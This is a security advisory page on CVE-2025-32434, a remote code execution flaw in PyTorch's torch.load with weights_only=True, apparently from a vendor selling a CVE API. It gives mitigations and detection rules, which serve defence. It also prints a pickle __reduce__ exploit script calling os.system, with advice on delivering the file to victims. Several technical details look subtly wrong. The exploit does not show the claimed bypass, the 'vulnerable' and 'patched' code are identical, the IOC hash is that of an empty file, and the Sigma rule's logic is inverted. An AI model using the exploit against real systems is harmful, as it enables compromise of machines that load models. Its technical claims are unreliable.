CVE-2025-32434
Executive Summary
CVE-2025-32434 is a critical Remote Command Execution (RCE) vulnerability in PyTorch, a widely used Python package for deep learning and tensor computation. The flaw resides in the torch.load() function when called with the weights_only=True parameter, which is intended to safely load model weights without executing arbitrary code. In versions 2.5.1 and prior, this safety mechanism is bypassed, allowing an attacker to craft a malicious model file that, when loaded, executes arbitrary Python commands on the victim's machine. This vulnerability is particularly dangerous in environments where models are loaded from untrusted sources, such as public repositories or user uploads. The issue has been patched in PyTorch version 2.6.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability directly impacts the PyTorch supply chain. Organizations that rely on PyTorch for model training, inference, or deployment are at risk if they load models from untrusted sources. The attack vector is through a malicious .pt or .pth file, which can be distributed via public model hubs, email attachments, or compromised repositories. The weights_only=True flag was designed to mitigate such risks, but its bypass means that even "safe" loading is compromised. Users must update to PyTorch 2.6.0 or later to eliminate this risk.
CVSS Breakdown & Threat Level
The CVSS score is not provided in the NVD data, but based on the nature of the vulnerability (RCE via deserialization), the following vector is estimated:
- Attack Vector (AV): Network (AV:N) – The malicious model file can be delivered over a network.
- Attack Complexity (AC): Low (AC:L) – No special conditions are required.
- Privileges Required (PR): None (PR:N) – No authentication needed.
- User Interaction (UI): Required (UI:R) – The victim must load the malicious file.
- Scope (S): Unchanged (S:U) – The vulnerability does not change the security scope.
- Confidentiality (C): High (C:H) – Full system compromise possible.
- Integrity (I): High (I:H) – Attacker can modify system state.
- Availability (A): High (A:H) – Attacker can disrupt services.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)
Threat Level: Critical. The vulnerability allows arbitrary code execution with the privileges of the user running PyTorch. In production environments, this could lead to full server compromise.
Deep Dive & Mechanics
The vulnerability is a classic deserialization flaw. PyTorch's torch.load() function uses Python's pickle module under the hood to deserialize model files. The weights_only=True parameter was introduced to restrict the deserialization to only safe tensor types, preventing the execution of arbitrary code. However, due to a flaw in the implementation, certain pickle opcodes or specially crafted objects can bypass this restriction.
The attack works by embedding malicious Python code within the pickle stream of a .pt file. When torch.load() processes the file, it executes the embedded code before the weights_only check can fully validate the contents. This allows an attacker to run arbitrary commands, such as spawning a reverse shell, exfiltrating data, or installing malware.
The root cause is an incomplete whitelist of allowed pickle opcodes or an improper handling of certain object types. The patch in version 2.6.0 likely strengthens the validation logic to prevent any code execution during deserialization.
Vulnerable vs. Patched Code
Vulnerable Code (PyTorch < 2.6.0):
import torch
# This code is vulnerable even with weights_only=True
model = torch.load('malicious_model.pt', weights_only=True)
Patched Code (PyTorch >= 2.6.0):
import torch
# This code is safe
model = torch.load('malicious_model.pt', weights_only=True)
The patched version ensures that weights_only=True truly prevents any code execution. Users should also consider using torch.jit.load() for inference-only scenarios, as it is not susceptible to pickle-based attacks.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Python 3.x with PyTorch < 2.6.0 installed.
- A target that loads a model using
torch.load()withweights_only=True.
Exploit Script:
import pickle
import os
import torch
class Exploit:
def __reduce__(self):
# Replace with your payload
return (os.system, ('echo "PWNED" > /tmp/pwned.txt',))
# Create malicious pickle data
malicious_pickle = pickle.dumps(Exploit())
# Save as a .pt file
with open('malicious_model.pt', 'wb') as f:
f.write(malicious_pickle)
print("Malicious model file created: malicious_model.pt")
Delivery: Send the malicious_model.pt file to the victim via email, download link, or upload to a model repository.
Execution: When the victim runs:
import torch
model = torch.load('malicious_model.pt', weights_only=True)
The payload executes, creating /tmp/pwned.txt.
Blue Team (Defense)
Detection:
- Monitor for unusual file downloads with
.ptor.pthextensions. - Use network monitoring to detect reverse shell traffic.
- Implement file integrity monitoring on model directories.
Prevention:
- Update PyTorch to version 2.6.0 or later.
- Use
torch.jit.load()for inference-only tasks. - Validate model files from trusted sources only.
- Run model loading in a sandboxed environment (e.g., Docker container with read-only filesystem).
Hunting:
- Search for processes spawning shells after
torch.load()calls. - Look for unexpected network connections from Python processes.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual if available)
malicious_model.pt:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound connections to unknown IPs on common ports (4444, 8080, etc.).
- DNS queries to suspicious domains.
- Process Indicators:
- Python process executing
os.system(),subprocess.Popen(), or similar. - Unexpected child processes (e.g.,
/bin/sh,cmd.exe).
- Python process executing
- File System Indicators:
- Creation of unexpected files in
/tmp/or%TEMP%. - Modification of system binaries.
- Creation of unexpected files in
Detection Engineering
YARA Rule
rule CVE_2025_32434_PyTorch_RCE {
meta:
description = "Detects malicious PyTorch model files exploiting CVE-2025-32434"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-32434"
strings:
$pickle_magic = { 80 04 95 } // pickle protocol 4 magic bytes
$reduce = "reduce" nocase
$os_system = "os.system" nocase
$subprocess = "subprocess" nocase
condition:
$pickle_magic at 0 and ($reduce or $os_system or $subprocess)
}
Sigma Rule
title: PyTorch RCE via Malicious Model File
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of suspicious commands after loading a PyTorch model file
author: Valters IT
date: 2025-04-01
references:
- CVE-2025-32434
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\python.exe'
CommandLine|contains: 'torch.load'
filter:
CommandLine|contains: 'weights_only=True'
condition: selection and not filter
falsepositives:
- Legitimate model loading with patched PyTorch
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32434 PyTorch RCE - Potential Reverse Shell"; flow:to_server,established; content:"|80 04 95|"; depth:3; content:"reduce"; nocase; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update PyTorch: Upgrade to version 2.6.0 or later.
pip install --upgrade torch - Isolate Model Loading: Run model loading in a sandboxed environment (e.g., Docker container with no network access).
- Validate Sources: Only load models from trusted, verified sources.
Long-term Mitigations:
- Implement a model validation pipeline that scans for malicious pickle opcodes.
- Use
torch.jit.load()for inference-only tasks. - Monitor for CVE-2025-32434 exploitation attempts using the provided detection rules.
- Educate users about the risks of loading models from untrusted sources.
Patch Details: The fix is included in PyTorch version 2.6.0. No official patch for older versions is available; upgrading is the only solution.
Valters IT